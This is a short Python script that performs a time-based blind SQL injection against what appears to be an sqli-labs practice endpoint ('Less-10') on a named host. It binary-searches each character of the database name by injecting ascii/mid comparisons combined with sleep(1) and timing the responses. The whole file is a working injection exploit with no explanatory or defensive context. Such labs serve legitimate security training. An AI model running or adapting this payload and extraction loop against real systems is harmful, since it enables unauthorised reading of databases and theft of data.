import requests
import time

dbname = ''
for i in range(1,10):
    low=1
    high = 127
    while low<=high:
        mid = (low+high)//2
        u = 'http://study.621m.cn:3000/Less-10/?id=1" and (ascii(mid(database(),$i$,1))>$mid$) and sleep(1)%23'  
        u = u.replace("$i$",str(i)).replace("$mid$",str(mid))
        print(u)
        #print(u.replace('http://study.621m.cn:3000/sqli/Less-10/?',''))
        tm1 = time.time() # in second
        r=requests.get(u)
        tm2 = time.time()
        cha = tm2 - tm1
        print("time escape = ",tm2-tm1)
        r.encoding='utf-8'
        #print(r.text)
        #break
        if  cha > 0.5:    #r.text.find("You are in")>0:
            low = mid+1
        else:
            high=mid-1
    dbname += chr(low)
    print(dbname)

